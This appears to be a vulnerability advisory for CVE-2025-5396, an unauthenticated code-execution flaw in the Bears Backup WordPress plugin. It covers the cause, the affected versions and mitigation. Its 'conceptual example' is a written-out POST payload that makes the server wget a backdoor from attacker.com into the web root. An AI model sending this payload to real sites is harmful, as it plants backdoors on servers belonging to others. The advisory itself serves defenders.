Overview
In the rapidly evolving cyber landscape, the importance of maintaining updated and secure software cannot be overstated. One such vulnerability that requires immediate attention is the CVE-2025-5396, which affects the Bears Backup Plugin for WordPress. The vulnerability allows for Remote Code Execution (RCE), a severe security breach that can result in the compromise of an entire system. It affects all versions up to, and including, 2.0.0 of the plugin. Given the widespread usage of WordPress, this vulnerability poses a serious threat to numerous websites and their associated data.
Vulnerability Summary
CVE ID: CVE-2025-5396
Severity: Critical (9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Remote Code Execution leading to potential system compromise or data leakage
Affected Products
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Product | Affected Versions
Bears Backup Plugin for WordPress | Up to and including 2.0.0
Alone WordPress Theme | 7.8.4 and older
How the Exploit Works
The crux of the vulnerability lies in the absence of a capability check and validation of user-supplied input in the bbackup_ajax_handle() function. This lack of security measures allows unauthenticated attackers to pass malicious input directly to call_user_func(), leading to the execution of arbitrary code on the server. This vulnerability can be leveraged by attackers to inject backdoors or create new administrative user accounts, among other things. The CVE-2025-5394 vulnerability in the Alone WordPress theme can be chained with this vulnerability to install the Bears Backup plugin and achieve the same impact.
Conceptual Example Code
Below is a conceptual example of how the vulnerability might be exploited. Note that this is pseudocode and not actual code.
POST /wp-admin/admin-ajax.php?action=bbackup_ajax_handle HTTP/1.1
Host: vulnerable-site.com
Content-Type: application/x-www-form-urlencoded
function=call_user_func&args[]=system&args[]=wget%20http://attacker.com/backdoor.php%20-O%20/var/www/html/backdoor.phpIn this example, an HTTP POST request is made to the vulnerable endpoint. The ‘function’ parameter is used to call the ‘system’ function, which then fetches a malicious PHP file (backdoor.php) from the attacker’s server and writes it to the root directory of the target’s server.
Mitigation Guidance
To mitigate this vulnerability, it is highly recommended to apply the vendor patch as soon as it becomes available. In the meantime, Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) can be used for temporary mitigation. Regularly updating your software, enforcing strong user privileges, and practicing secure coding techniques can also help in managing such vulnerabilities.